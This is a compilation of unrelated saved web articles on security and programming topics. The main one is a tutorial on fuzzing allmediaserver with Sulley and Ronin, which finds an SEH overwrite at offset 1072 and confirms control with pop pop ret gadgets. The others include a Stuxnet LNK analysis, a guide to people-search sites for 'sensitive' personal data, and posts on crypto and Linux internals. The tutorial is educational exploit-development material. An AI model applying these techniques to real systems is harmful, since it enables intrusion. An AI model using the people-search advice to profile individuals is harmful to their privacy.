•    Social networking sites, malware-infected spam, current event related spam, and celebrities have all become prime targets for spammers as they endeavor to create a vehicle to try and enter a user’s inbox. For example, in 2009, Michael Jackson’s death captivated the imagination of some spammers and at its height, Michael Jackson spam easily exceeded President Obama-related spam and accounted for approximately two percent of all spam messages sent. 
•    The top regions of origin for spam shifted from North America and EMEA towards APJ and South America—in November 2009 APJ accounted for 26 percent while South America accounted for 25 percent. This shift corresponds with an explosion in broadband connections in these regions as their internet infrastructure develops. 
•    Those on the antispam front have increased their efforts to crack down on spam. Antispam ven¬dors continue to deploy the latest antispam detection technologies. In addition, during the last decade there was the FBI’s Bot Roast program, the SEC’s Operation Spamalot, the McColo ISP shutdown, the FTC's efforts to shut down Internet service provider Pricewert LLC and rogue Internet service provider 3FN Service. ISPs have also demonstrated that they are more willing to share information to thwart certain botnets. 
2010 and Beyond: The New Spam Frontier 
The economics behind spam dictate that 2010 will be another active year for spammers. The distribution of spam email is set to continue as long as distribution channels remain relatively cheap, botnets continue to be active and shift locations, and spammers develop new and innovative ways to attempt to bypass antispam filtering. 
Specifically: 
•    Distribution networks are becoming more dynamic as additional broadband connected targets are coming online every day. Distribution paths are also becoming more complicated, with spammers now sending messages directly from infected machines, routing through compromised relays, and continuing to use Web mail/SMTP Auth abuse. 
•    Botnets are also set to continue jockeying for position—botnets that were previously dominant are being undermined by the actions of new more sophisticated botnets. The number of botnets is set to grow as hackers target developing IT infrastructures in certain regions. 
•    In an attempt to evade antispam filters through obfuscation and hijacking the reputation of legitimate websites, spammers are set to continue using tactics such as URL shortening and using free Web hosting servers—therefore damaging the reputation of some services until they go out of business. 
•    Spammers are set to continue the progress of blending—a process during which they utilize spam to tempt an end user into buying a product or service—as well as more mischievous and even dangerous practices such as phishing, where a spammer tries to steal a user’s identity and computer resources to obtain money or add to the strength of bot networks by compromising computers. 
As spammers continue to become more sophisticated and their attacks more targeted, it is imperative that organizations and consumers alike have the latest technology deployed to minimize the effect of spam and avoid the problems associated with false positives and missed spam altogether. While many vendors offer technology to combat the spam problem, it’s a proven fact that those vendors with the greatest visibility into spam trends and other Web related threats have the most effective defenses and techniques to win the ongoing cyber war. Symantec’s antispam and antiphishing solutions are backed by the Symantec Global Intelligence Network, which encompasses some of the most extensive sources of Internet threat data in the world to offer comprehensive and up-to-date protection against the latest threats, and provides real-time updates to Symantec products at customer sites. 
﻿http://blog.didierstevens.com/2013/08/13/a-bit-more-than-a-signature/ 
A Bit More Than A Signature | Didier Stevens
Created:
8/14/2013 1:10:26 PM
Updated:
8/14/2013 1:10:26 PM
Author:

Tags:
windows environment software Hex similarity


A Bit More Than A Signature 
Soon I’ll release new versions of my Authenticode Tools .
Detecting extra data in the signature field is one of the new features. For example, it will analyze the size specified in the optional header data directory for security, the size specified in the WIN_CERTIFICATE structure and the size specified in the PKCS7 signature itself. These should be the same, taking into account some zero-byte padding.
In case you didn’t know: extra data can be added in the data directory that contains the signature, without invalidating the signature. My Disitool can do this.
With this new version of AnalyzePESig, I found some setup programs that contain extra data after the signature; data that seems to contain installation options for the installer. For example, the Google Chrome installer has this:

As you can see, the size specified in the optional header data directory for security and the size specified in the WIN_CERTIFICATE structure are both 6272 bytes, but the size of the PKCS7 signature is 6079. So that leaves 181 extra bytes. You can see them here:

And I found some other installers with extra data (config data or license information) in the signature directory: GotoMyPc, PowerGrep, RegexBuddy.
Leave a Comment
Leave a Comment  »
No comments yet.
RSS feed for comments on this post. TrackBack URI 
Leave a Reply (comments are moderated) Cancel reply 
 
﻿http://www.inreverse.net/?p=1246 
About TmpHider/Stuxnet #1 | inREVERSE
Created:
7/16/2010 9:20:40 AM
Updated:
7/16/2010 9:20:48 AM
Author:

Tags:
reversing Malware-analysis


About TmpHider/Stuxnet #1
Some info on this new malware spreading in these days under the name of TmpHider/Stuxnet
Let’s start with the propagation method which is the only novel aspect about this malware. As already discussed and reported on multiple forums online, this particular piece of malware exploits some unidentified bug in the lnk file format to autostart itself when a usb key is opened.
Once infected you’ll find in the usb pen two lnk files and a two tmp files, opening one of the lnk files we can see inside the UNC path to the tmp file, which is actually a DLL. 

I didn’t have analyzed completely these two dlls but I guess they contain the infection logic and are responsible for dropping and installing the two sys files. 
So what i did was attaching to explorer.exe and setting a breakpoint on LoadLibrary, and that’s what i got: 

As you can see it’s trying to load the the tmp file from the system32 directory, something is not going how expected right ? my guess is that’s because the UNC path inside the lnk file is specificto the usb pen, so if you copy the link and tmp files on a different usb pen they wont work. 
Let’s start from the lnk file since it’s clear that it is triggering the loading of the dll in some way, and since there is no sign of shellcode must some kind of logic bug or “feature”. My starting point was microsoft lnk format reference to see how that path is interpreted.
The path is expressed as a PIDL, and is composed by three components (two of which represented through their CLSID) 
{20D04FE0-3AEA-1069-A2D8-08002B30309D} {21EC2020-3AEA-1069-A2DD-08002B30309D} \\.\STORAGE#Volume#_??_....\file.tmp

which corresponds to 
{My computer} {Computer Panel} \\.\STORAGE#Volume#_??_....\file.tmp

I didn’t catch any other relevant differences between a normal lnk and this one except how the path is expressed, anyway that’s all for now, more details coming in the weekend on how that path leads to execution. 
﻿http://www.pcworld.com/printable/article/id,151556/printable.html 
9 Sites That Find People and Their 'Sensitive' Information - PC World
Created:
5/25/2009 8:32:14 AM
Updated:
5/25/2009 8:32:26 AM
Author:

Tags:
web socialising


Glassdoor and Criminal Searches) for finding sensitive (but public) information about them.
Mark Sullivan, PC World
Wednesday, October 01, 2008 10:00 PM PDT
At one time or another, you might need to get the goods on a stranger, like a prospective nanny or a business contact. Public records and people-finder sites are often the place to look; we list the best ones here. These sites use cool, Web 2.0 techniques to help you locate people, then (if need be) dig deep to find the "sensitive" intel about them you need.


WhitePages.com: WhitePages and PeopleFinders are both good tools for tracking down people, their addresses, and their phone numbers, but the nod goes to White Pages for its upcoming addition of voice and mobile capabilities.


FriendFeed: Many content sharing and social networking sites exist now--Facebook, Flickr, Twitter, and so on--and my friends seem to be spread out evenly among them. I don't have time to visit them all. Friend Feed crawls more than 40 such sites to keep you updated on the Web pages, photos, videos, and music that your friends are sharing or commenting on.


Spock: This site looks for a person's school, work, and social affiliations, then displays photos, links to social network pages, Web sites, videos, and blogs about that person.



Facebook: I know, I know, recommending such a well-known standby as Facebook is like recommending that you wear sunscreen at the beach. But, really, what social networking site is more functional, more organized, and more populous than this one? 

Glassdoor: This site invites you to log in and anonymously write what you really think of the company you work for, the culture you work in (here's where you gripe about your boss), and the salary you're pulling down. Then (and only then) can you dig for some dirt on current or former coworkers and, best of all, see how much they make. 

Search Systems: Public-records sites do the legwork of collecting all kinds of public records from all over the country, and then sell access to them via the Internet. Search Systems, one of the oldest and most reliable of these companies, takes a no-nonsense approach to selling access to 36,000 public-records databases from around the country. You can access marriage and death records, property records, and business permits for a $5 monthly fee, or buy the "premium" service, which includes bankruptcy and criminal records. 

NETRonline (www.netronline.com): For a somewhat more hands-on ap proach to accessing public records, NETRonline's free public records portal is a very useful tool, with direct links to the actual county and state databases that contain the data. NETR also offers background checks and criminal-record searches, for a price. 

Criminal Searches: Do you really know the people in your neighborhood? Do some of them have criminal histories, including sex-related offenses, violent crimes, and theft (or just traffic offenses, as the site also details)? Criminal Searches provides their mug shots and even plots their addresses on a map, for free. 

FundRace: This clever mashup site plots political donors on a map and shows how much they contributed. What did your neighbor give to the Democrats or the Republicans this year? 
Return to the " 100 Incredibly Useful and Interesting Web Sites " main story.
﻿http://pomax.github.io/bezierinfo/ 
A Primer on Bézier Curves
Created:
1/2/2015 9:06:59 AM
Updated:
1/2/2015 9:06:59 AM
Author:

Tags:
bookmark


A Primer on Bézier Curves

http://pomax.github.io/bezierinfo/
Share on twitter Share on facebook Share on google_plusone_share Share on linkedin Share on reddit Share on hackernews Share on digg Share on stumbleupon More Sharing Services A Primer on Bézier Curves Table of Contents Introduction How do Bézier curves work? Controlling Bézier curvatures Bézier curvatures as matrix operations de Casteljau's algorithm Splitting curves Splitting curves using matrices Lowering and elevating curve order Derivatives Tangents and normals Component functions Finding ...


﻿http://webblaze.cs.berkeley.edu/2010/kudzu/kudzu.pdf 
A Symbolic Execution Framework for JavaScript
Created:
5/20/2010 5:28:07 AM
Updated:
5/20/2010 5:28:46 AM
Author:

Tags:
web-app-sec Practical Software Verification web programming


﻿https://www.exploit-db.com/docs/41621.pdf 
ATTACKING RDP How to Eavesdrop on Poorly Secured RDP Connections
Created:
5/7/2017 10:50:57 AM
Updated:
5/7/2017 10:51:52 AM
Author:

Tags:
pentest Microsoft rdp




﻿http://pastie.org/3084226 
#3084226 - Pastie
Created:
12/29/2011 1:19:41 PM
Updated:
12/29/2011 1:19:41 PM
Author:

Tags:
python Gray Hat Python (book)


"""
 * Python Disassembler generated by IRET
 * Copyright 2011 (c) iZsh at fail0verflow.com
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 3, or (at your option)
 * any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; see the file COPYING.  If not, write to
 * the Free Software Foundation, Inc., 51 Franklin Street,
 * Boston, MA 02110-1301, USA.
"""
def instruction_sub7():
    v = (0x20 << 8) | get_bits(8)
    r_75 = v & 0xf00
    r_76 = v & 0xf
    return "movr r%d, r%d" % (r_75, r_76)
def instruction_sub13():
    v = (0xa0 << 8) | get_bits(8)
    r_123 = v & 0xf00
    r_124 = v & 0xf
    return "cmp r%d, r%d" % (r_123, r_124)
def instruction_sub9():
    v = (0x60 << 8) | get_bits(8)
    r_91 = v & 0xf00
    r_92 = v & 0xf
    return "add r%d, r%d" % (r_91, r_92)
def instruction_sub8():
    v = (0x30 << 8) | get_bits(8)
    r_83 = v & 0xf00
    x_84 = v & 0xff
    return "movr r%d, %x" % (r_83, x_84)
def instruction_sub4():
    return 'hlt'
def instruction_sub14():
    v = (0xb0 << 8) | get_bits(8)
    r_131 = v & 0xf00
    x_132 = v & 0xff
    return "cmp r%d, %x" % (r_131, x_132)
def instruction_sub10():
    v = (0x70 << 8) | get_bits(8)
    r_99 = v & 0xf00
    x_100 = v & 0xff
    return "add r%d, %x" % (r_99, x_100)
def instruction_sub0():
    v = (0x0 << 8) | get_bits(0)
    r_32 = v & 0xf
    return "jmp r%d" % (r_32)
def instruction_sub11():
    v = (0x80 << 8) | get_bits(8)
    r_107 = v & 0xf00
    r_108 = v & 0xf
    return "xor r%d, r%d" % (r_107, r_108)
def instruction_sub5():
    v = (0x40 << 8) | get_bits(8)
    r_58 = v & 0xf00
    r_60 = v & 0xf
    return "movm r%d, [ds:r%d]" % (r_58, r_60)
def instruction_sub2():
    v = (0xc0 << 8) | get_bits(0)
    r_44 = v & 0xf
    return "jmpe r%d" % (r_44)
def instruction_sub1():
    v = (0x10 << 8) | get_bits(8)
    r_39 = v & 0xf00
    x_38 = v & 0xff
    return "jmp %x:r%d" % (x_38, r_39)
def instruction_sub12():
    v = (0x90 << 8) | get_bits(8)
    r_115 = v & 0xf00
    x_116 = v & 0xff
    return "xor r%d, %x" % (r_115, x_116)
def instruction_sub6():
    v = (0x50 << 8) | get_bits(8)
    r_68 = v & 0xf00
    r_66 = v & 0xf
    return "movm [ds:r%d], r%d" % (r_68, r_66)
def instruction_sub3():
    v = (0xd0 << 8) | get_bits(8)
    r_51 = v & 0xf00
    x_50 = v & 0xff
    return "jmpe %x:r%d" % (x_50, r_51)
def dispatch_l0_mf0():
    v = get_bits(8) & 0xf0
    return {
        0x20: instruction_sub7,
        0xa0: instruction_sub13,
        0x60: instruction_sub9,
        0x30: instruction_sub8,
        0xe0: instruction_sub4,
        0xb0: instruction_sub14,
        0x70: instruction_sub10,
        0x0: instruction_sub0,
        0x80: instruction_sub11,
        0x40: instruction_sub5,
        0xc0: instruction_sub2,
        0x10: instruction_sub1,
        0x90: instruction_sub12,
        0x50: instruction_sub6,
        0xd0: instruction_sub3,
    }.get(v, "unknown")()

def disassemble():
    return dispatch_l0_mf0()

﻿http://5x5sec.blogspot.it/2012/07/sulley-and-ronin-fuzzing-while.html 
5x5 security: Sulley and Ronin fuzzing while debugging with Immunity of allmediaserver
Created:
8/16/2012 9:27:37 AM
Updated:
8/16/2012 9:27:37 AM
Author:

Tags:
Debugging windows environment fuzzing


Sulley and Ronin fuzzing while debugging with Immunity of allmediaserver
 
 
Sulley and Ronin fuzzing while debugging with Immunity of allmediaserver




As I mentioned in the previous article that I wanted to do a write up on using different fuzzers and debuggers for the allmediaserver. If you haven't read the previous article you might want to check it out.  http://5x5sec.blogspot.com/2012/07/looking-into-exploitation-of.html . Ok lets dive in and see what we get.



Fuzzing with Sulley
First things first you should check out the piece about getting sulley setup. http://5x5sec.blogspot.com/2012/02/basic-sulley-fuzzing-with-linux-host.html . If you are going to run the fuzzing from a Linux box pay close attention to the section around "sulley/pedrpc.py diff" . This piece is crucial to gettting the fuzzing running from linux to windows. Once you have Sulley installed lets set up the fuzzing files.



This is going to be a simple fuzz script that is just going to do a simple HTTP fuzzing. The reason is that I haven't dove into the communication protocol that surrounds the allmediaserver but I am just taking a stab and see what happens.



The Fuzz file that I am using which I names  fuzz-all.py is this.



from sulley import *

from requests import httpall



sess  = sessions.session(session_filename="audits/http.session")

target = sessions.target("192.168.22.142", 888)

target.netmon = pedrpc.client("192.168.22.142", 26001)

target.procmon = pedrpc.client("192.168.22.142", 26002)

target.procmon_options = { "proc_name" : "mediaserver.exe" }



sess.add_target(target)

sess.connect(sess.root, s_get("HTTP"))

sess.fuzz()


Let's look and see that we are going to fuzz remote host 192.168.22.142, which you will change to be YOUR host, port 888 which the server is listening on. Also you can see that the netmon and procmon are listening on 26001 26002 which sulley will also connect to. You can also see that I am importing from httpall. This is a file that I created and that I placed in the ./requests folder named httpall.py.



 from sulley import *



s_initialize("HTTP")

s_group("verbs", values=["GET"])

if s_block_start("body", group="verbs"):

    s_string("AAAAA")

    s_static("\r\n\r\n")

s_block_end("body")


Great, now we have all the pieces to the puzzle from the remote side now lets get things fired up on the windows side.  The two pieces that you need to get running are the process monitor and the network monitor.  First make sure that the allmediaserver is running you can do a "netstat -an" and look for 888. Once you have verified that the server is indeed running, open a command prompt and navigate to the sulley install directory and issue:



python process_monitor.py -c c:\f.crash -p "mediaserver.exe"


This will start up the process monitor for the mediaserver.exe program. The next piece is that you need to start the network monitor by doing the same thing , open a command prompt and navigate to the sulley install dir then issue:



python network_monitor.py -d 0 -f "port 888" -P c:\sulley
You will probably need to change a few things such as the device that you are listening on and the location that you are going to store your pcaps. I was in a rush so I just used the default sulley dir.



Ok lets fuzz. From the remote system just issue "python fuzz-all.py" and you should start to see the magic happen.






Once we start the fuzzing we really don't have to wait too long and we see a break with an access violation!






Let's take a look at the web interface of sulley and see what we get.






As you can see we have the crash. As you can see that when we sent 6494 bytes the server crashed. If we click on the test case # we will get a more detailed view of the case of the crash.







As you can see we have an access violation in which we have ECX and EIP overwrite. CRASH!!



Fuzzing with Ronin
To get started with Ronin you need to get it installed. Since it isn't installed by default on backtrack or other distro's you will need to follow one of the guides here. http://ronin-ruby.github.com/docs/ . Why did I choose Ronin? Why not! So I am going to assume that you have gotten Ronin installed and are ready to get started. First lets make sure the allmediaserver is started as before and use immunity to attach to the mediaserver process with a ctrl+f1. Once verified we want to start fuzzing. Since I am just going to do a simple fuzz I am just going to fire up a pcap to watch the traffic.  I did this by:



tshark -i eth2 -x port 888
 Now that we have the listening going lets set the fuzzing. Again this is just a simple fuzz so I don't need anything fancy so I am going to set up a request file and call it request. Inside this file I am going to add a phrase to fuzz. This could be anything such as a GET PUSH , etc . I am simple going to use:



http://hi
now that I have the request file set I am going to start the fuzzing. This is simple by issuing:



./bin/ronin-fuzzer -i request -r hi:A*1-2000 -t 192.168.22.142:888
What I am going to do with this is take the request file and substitute the phrase "hi" with A's from 1 to 2000 of them. The Fuzzer is very fast and was having some issues so I had to make a change to the lib/ronin/ui/cli/commands/fuzzer.rb file and add a sleep time "sleep(2)" prior to the connection to slow the requests.

          def fuzz_network(string,index)

            sleep(2)

            print_debug "Connecting to #{@host}:#{@port} ..."




  This is what you will start to see.






 After some time you will come to this and we get a crash!






 As you can see that we have a crash at 1064. Why not 1072? Well from the template that we used you have to account for the extra "http://" at the beginning. Adding these up you get your 1072, and we are inline with exactly what we had in the previous post. I really like the simple fuzzer portion of Ronin  and could have easily created a more valid request file to be fuzzed but since I was going for speed and luck this is where I started. Now that we have fuzzed and got a break we can start to what is happening on the client.



Debugging with Immunity debugger
Now lets take a look at what has been happening on the client. As mentioned during the Ronin fuzzing you should have attached the Immunity debugger to the mediaserver.exe process and hit the run button. You should have started with something similiar to this.








Once we started to fuzz the using Ronin and we get a crash we should end with something similar to this "Access Violation" nice!






So we can see that we have an access violation and that we have "41414139" as you can see this is because it is trying to do "EDX-8" which gives us the "41414139". This also shows us that we have EDX overwrite but this is not as similar as the Sulley fuzz. lets give it a shift + f9 to pass the exception and we end up here with the ECX overwrite and EIP at "41414141". While we are here lets hit alt-S and take a look at the SEH chain and we can see "41414141".Nice.






Let's continue forward and throw a pattern at the server. First, lets restart the server then reattach the debugger to the process. Once this is set we can send the same pattern that we used in the previous post. We send the pattern and we get the pattern. This is where the magic happens.








We are going to use Mona.py . I suggest giving this project a look over since it makes everything so much easier. http://redmine.corelan.be/projects/mona . Great project. So I will assume that you have taken a moment to read the project and have mona installed. Since we are at the crash and we can see that we see the pattern in the SEH chain , we want to find the location of the offset. Mona does this easily by issuing "!mona findmsp".






As you can see it gives a plethora of information inlcuding the offset "1072" that we have the SEH overwrite and how much after we have overwritten. This matches up with what we have found doing the Ronin fuzzing. So let's test that out and send the A's B's and C's to see.



 


Again, reset the service attach the debugger and send the data. We get the crash and we look at the SEH chain and we see our "42424242" and "43434343"








Now I want to do one more thing with mona.py to demonstrate how awesome it is.  let's issue "!mona seh" . This will yield lots of valid pop pop ret  instructions that we can use for the construction of our exploit. So pick one that you find and give it a try. We will do the same again as our previous post and send A's then "\xcc" for the int3 and then the pop pop ret. We send the data and we get..INT3!!








 Now we are at the exploitation phase that you can choose to do what you want sending calc.exe or instructions to do something but that is up to you.  In the next post I will discuss using Ronin to exploit this service. Hopefully this time the post gets posted since this is the second write of this since I lost have for some reason:(  Thanks again to all the developers of the tools and techniques that I have demonstrated.

 
references:
http://ronin-ruby.github.com/

http://redmine.corelan.be/projects/mona

https://github.com/OpenRCE/sulley

http://immunityinc.com/products-immdbg.shtml



﻿http://blog.cryptographyengineering.com/2012/02/sattelite-phone-encryption-is-terrible.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+AFewThoughtsOnCryptographicEngineering+%28A+Few+Thoughts+on+Cryptographic+Engineering%29 
A Few Thoughts on Cryptographic Engineering: Satellite phone encryption is terrible. Anyone surprised?
Created:
2/8/2012 1:37:56 PM
Updated:
2/8/2012 1:38:02 PM
Author:

Tags:
crypto opinion


Satellite phone encryption is terrible. Anyone surprised? 

I adhere to a 'one post, one topic' rule on this blog, which means that this weekend I actually have to choose which bad-crypto news I'm going to blog about.

It's a tough call, but the most interesting story comes via Erik Tews, who recently attended a talk on satellite phone security at Ruhr Universität Bochum. It seems that researchers Benedikt Driessen, Ralf Hund, Carsten Willems, Christof Paar, and Thorsten Holz have reverse-engineered and cryptanalyzed the proprietary ciphers used in the GMR-1 and GMR-2 satellite telephone standards.* If you've never heard of these standards, what you need to know is that they power the networks of satphone providers Thuraya and Inmarsat.

The verdict? Encrypting with these ciphers is better than using no encryption. But not necessarily by much.

I guess this shouldn't come as a big shock -- link privacy in mobile telephony has always been kind of a mess. And the GMR ciphers come from the same folks (ETSI) who brought us the A5-series GSM ciphers. If you pay attention to this sort of thing, you probably know that those ciphers have also had some problems. In fact, today it's possible to download rainbow tables that permit (efficient) decryption of A5/1-encrypted GSM phone calls.

A5/1 is actually the strong member of the GSM family. For export purposes there's A5/2 -- a weakened version with a much shorter key. You don't hear about people downloading huge A5/2 rainbow tables, mostly because you don't need them. A5/2 is vulnerable to ciphertext-only attacks that run in a few minutes on a standard PC. 

A5/2 GSM cipher. Image: Barkan, Biham, Keller.
ETSI seems to have had A5/2 in mind when developing the GMR-1 and GMR-2 ciphers. Both are custom designs, use short keys, and depend heavily on obscurity of design to make up for any shortcomings (the ciphers are only given to manufacturers who sign an NDA). This secrecy hardly inspires confidence, and worse yet, it doesn't even do a good job of keeping things secret. The R.U.B. researchers didn't have to break into Thuraya's hardware lab; they simply reversed the ciphers from handset firmware updates.**

GMR-1 uses an LFSR-based cipher quite similar to A5/2 (pictured above), which means that it's vulnerable to a similar class of attacks. Since the underlying plaintext has correctness checks built into it, it's possible to recover the key using only ciphertext and about 30 minutes on a standard PC. The GMR-2 cipher is a bit more sophisticated (and weirder to boot), but it also appears to have weaknesses.



So why is this a big deal? The obvious answer is that satellite telephone security matters. In many underdeveloped rural areas it's the primary means of communicating with the outside world. Satphone coverage is also important in war zones, where signal privacy is of more than academic interest.

Moreover, eavesdropping on satellite communications is (in principle) easier than eavesdropping on cellular signals. That's because satellite 'spot beams' cover relatively broad geographic territories (Thuraya's are 600km on average). So you don't just have to worry about eavesdropping by your neighbor, you have to worry about eavesdropping by neighboring countries.

The really sad thing is that, unlike cellular networks -- which are fundamentally vulnerable to government eavesdropping at the infrastructure level -- satellite networks like Thuraya/Inmarsat don't need local infrastructure. That means their systems really could have provided privacy for individuals persecuted by oppressive regimes. You can argue about whether the manufacturers even had the option to use strong ciphers; it's quite possible they didn't. Still, I suspect this will be cold comfort to those who suffer as a direct result of ETSI's design choices.


Those who are really in the know (news organizations, for example) claim to use additional security measures beyond the built-in link encryption found in GMR-1 and GMR-2. Presumably these days the best way to do that is to run your own voice protocol via the packet data extensions. This practice ought to become more common going forward; now that the GMR-1 code is public, it looks like the barriers to eavesdropping are going to go down quite a bit.

The slides above come from this presentation.

Notes:

* Update 2/7/2012: A research paper describing the work is now available. I admit to being somewhat confused about the authorship of this work. The linked paper lists only Driessen, but the R.U.B. talk was given by Driessen and Hund. And this site gives credit to all the authors I listed above. I've decided to err on the side of over-inclusiveness.

** And by 'simply', I mean 'with great expertise and difficulty' -- don't read this as trivializing the effort involved. Obtaining the ciphers meant disassembling code written in a proprietary DSP instruction set, and then searching for a cipher without knowing exactly what it looks like. All in all a pretty significant accomplishment. The point here is that it could have been a lot harder. If you're going to keep a cipher secret, you shouldn't release it as software in the first place. 
Posted by Matthew Green at 12:25 PM

﻿http://timetobleed.com/a-few-things-you-didnt-know-about-signals-in-linux-part-1/ 
A Few Things You Didn’t Know about Signals in Linux Part 1 at time to bleed by Joe Damato
Created:
6/16/2009 6:47:24 PM
Updated:
6/16/2009 6:47:32 PM
Author:

Tags:
Linux



technical ramblings from a wanna-be unix dinosaur 
A Few Things You Didn’t Know about Signals in Linux Part 1
Comments

Another post about signal handling? 
There are probably lots of people who have blogged about signal handling in Linux, but this series is going to be different. In this blog post, I’m going to unravel the signal handling code paths in the Linux kernel starting at the hardware level, working though the kernel, and ending in the userland signal handler. I’ve tried to use footnotes for code samples which have links to the code in the Linux lxr. Many of the code examples have been snipped for brevity. 
As always, this post is specific to the x86_64 CPU architecture and Linux kernel 2.6.29. 
Hardware or software generated 
Signals are not generated directly by hardware, but certain hardware states can cause the Linux kernel to generate signals. As such we can imagine two ways to generate signals: 
1. Hardware - the CPU does something bad (divides by 0, touches a bad address, etc) which causes the kernel to create and deliver (unless the signal is SIGKILL or SIGSTOP, of course) a signal (SIGFPE, SIGSEGV, etc) to the running process.
2. Software - an application executes a kill() system call and sends a signal to a specific process.
Both types of signals share a common code path, but hardware generated signals have a very interesting birth. Let’s start there and as we work our way up to userland we’ll stumble into the software signal code path along the way. 
Exceptions on the x86 
Let’s start by first understanding what an x86 exception is. For that, we’ll turn to the documentation1: 
[...] exceptions are events that indicate that a condition exists somewhere in the system, the processor, or within the currently executing program or task that requires the attention of a processor. They typically result in a forced transfer of execution from the currently running program or task to a special software routine [...] or an exception handler. 
At a high level this is pretty simple to understand; the system gets in a weird state and the CPU immediately begins executing a predefined handler function to try to fix things (if it can) or die gracefully. 
Let’s take a look at how the kernel creates and installs handler functions that the CPU executes when an exception occurs. 
Low-level exception handlers 
Low level exception handlers are specified in the Interrupt Descriptor Table (IDT). The IDT can hold up to 256 entries and it can live anywhere in memory. Each entry in the IDT is mapped to a different exception. For example, #DE Divide Error is the first entry in the IDT, IDT[0]; #PF Page Fault ’s handler lives at IDT[14]. When a specific exception is encountered, the CPU looks up the handler function in the IDT, puts some data on the stack, and executes the handler. 
What does an entry in the IDT look like? Let’s take a look at a picture2 from Intel: 


Take a look at the fields labeled ‘Offset’ - this is field that contains the address of the function to execute. As you can see, there are three fields labeled ‘Offset.’ Can you guess why? 
In order to actually set the address of the function you want to execute, you’ll need to do some bit-shifting. Each ‘Offset’ field is indicates which bits of the address of the handler function it wants. You need to be really careful when writing the code that is responsible for creating IDT entries. A bug here could cause your system to do really bizarre things. 
We know what an IDT entry looks like, but what about the data that the CPU pushes on the stack before executing a handler? Unfortunately, I couldn’t track down a picture of what the x86_64 puts on the stack and I can’t draw. So, here is a picture of the data the x86 CPU puts on the stack from Intel3: 

When an exception occurs, the CPU pushes the stack pointer, the CPU flags register value, the code and stack segment selectors, and the instruction pointer on to the stack before executing the handler. 
Nice, but where does the IDT itself live? 
The address of the IDT is stored in a CPU register that can be accessed with the instructions lidt and sidt to load and store (respectively) the address of the IDT. Usually, the address of the IDT is set during the initialization of the kernel. 
Let’s see where this happens in Linux4: 
void __init x86_64_start_kernel(char * real_mode_data)
{
        int i;
        /* [...] */
        for (i = 0; i < NUM_EXCEPTION_VECTORS; i++) {
                set_intr_gate(i, early_idt_handler);
        }
        load_idt((const struct desc_ptr *)&idt_descr); 
        /* [...] */
}
Cool, so Linux creates a bunch of early handlers in case something goes bad during boot and then a few function calls later (not shown), Linux calls start_kernel()5, which calls trap_init()6 for your architecture which actually sets the handlers. 
This is pretty important, so let’s take a look at the code for this. Thankfully, Linux includes some descriptive function names, so we can see which exceptions are being set. 
void __init trap_init(void)
{
   /* ... */
        set_intr_gate(0, &divide_error); 
        /* ... */
        set_intr_gate(5, &bounds);
        set_intr_gate(6, &invalid_op);
        set_intr_gate(7, &device_not_available); 
        /* ... */
        set_intr_gate(13, &general_protection);
        set_intr_gate(14, &page_fault);
        set_intr_gate(15, &spurious_interrupt_bug);
        set_intr_gate(16, &coprocessor_error);
        set_intr_gate(17, &alignment_check); 
   /* ... */
}
Awesome, now let’s try to track down where these exception handlers are defined. As it turns out, there is a little bit of C and assembly magic to string this all together. 
The low-level exception handlers have a common entry and exit point and are “templated” with a macro. Let’s take a look at the macro7 and some of the handlers8 in the kernel: 
.macro zeroentry sym do_sym
ENTRY(\sym)
        INTR_FRAME
        pushq_cfi $-1           /* ORIG_RAX: no syscall to restart */
        subq $15*8,%rsp
        call error_entry
        DEFAULT_FRAME 0
        movq %rsp,%rdi          /* pt_regs pointer */
        xorl %esi,%esi          /* no error code */
        call \do_sym
        jmp error_exit          /* %ebx: no swapgs flag */
 ND(\sym)
.endm
So the macro uses the first argument sym as the name of the function, and the second argument do_sym is a C function that is called from this assembly stub. 
We also notice from the stub above a very important (and somewhat subtle) piece of code: movq %rsp,%rdi This piece of code puts the address of the stack pointer in %rdi and we’ll see why shortly. First, let’s look at how the macro is used to get a better idea how it works: 
zeroentry divide_error do_divide_error
zeroentry overflow do_overflow
zeroentry bounds do_bounds
zeroentry invalid_op do_invalid_op
zeroentry device_not_available do_device_not_available 
This block of code uses the macro above to create symbols named divide_error, overflow, and more which call out to C functions named do_divide_error, do_overflow, etc. The craziness doesn’t end there. These C functions are also generated with macros9: 
#define DO_ERROR(trapnr, signr, str, name)                              \
dotraplinkage void do_##name(struct pt_regs *regs, long error_code)     \
{                                                                       \
        if (notify_die(DIE_TRAP, str, regs, error_code, trapnr, signr)  \
                                                        == NOTIFY_STOP) \
                return;                                                 \
        conditional_sti(regs);                                          \
        do_trap(trapnr, signr, str, regs, error_code, NULL);            \
}
/*...*/
DO_ERROR(4, SIGSEGV, "overflow", overflow)
DO_ERROR(5, SIGSEGV, "bounds", bounds)
Those last two lines get substituted with the macro above, creating do_overflow, do_bounds, and more. As you might have noticed, the functions generated have dotraplinkage which is a macro for a gcc attribute regparm which tells gcc to pass arguments to the function in registers and not on the stack. 
Remember the movq %rsp,%rdi from the common assembly stub? That line of code exists to pass the address of the state the CPU dumped to the do_* functions via the %rdi register. 
The do_* functions notify interested parties about the exception, re-enable interrupts/exceptions if they were disabled, and finally tells the upper layer signal handling code of the kernel that a signal should be generated and hands over the associated CPU state at the time the exception was generated. 
Conclusion for Part 1 
Wow. What a wild ride that was. 
1. There is a lot of trickery and subtle hacks in the Linux kernel. Reading and understanding the code can make you a more clever programmer. Dig in!
2. It is pretty cool (imho) to understand how you actually converse with the CPU and how the CPU talks to the kernel, and how that data is pushed to the upper layers.
3. The Intel CPU manuals, the gcc man page, and the Linux lxr are a big time help for deciphering this code, which can be cryptic at times.
4. Understanding what information you have at your disposal can let you do pretty crazy things in userland, as we’ll see in the next piece of this series.
Stay tuned, in the next piece of this series I’ll walk through the signal handling code in the kernel and show some crazy non-portable tricks you can do in userland. 
Thanks for reading and don’t forget to subscribe (via RSS or e-mail) and follow me on twitter.
References 
1. Intel® 64 and IA-32 Architectures Software Developer’s Manual Volume 3A: System Programming Guide, Part 1, 5.1: Interrupt and Exception Overview [↩]
2. Intel® 64 and IA-32 Architectures Software Developer’s Manual Volume 3A: System Programming Guide, Part 1, 5.1: Interrupt and Exception Overview [↩]
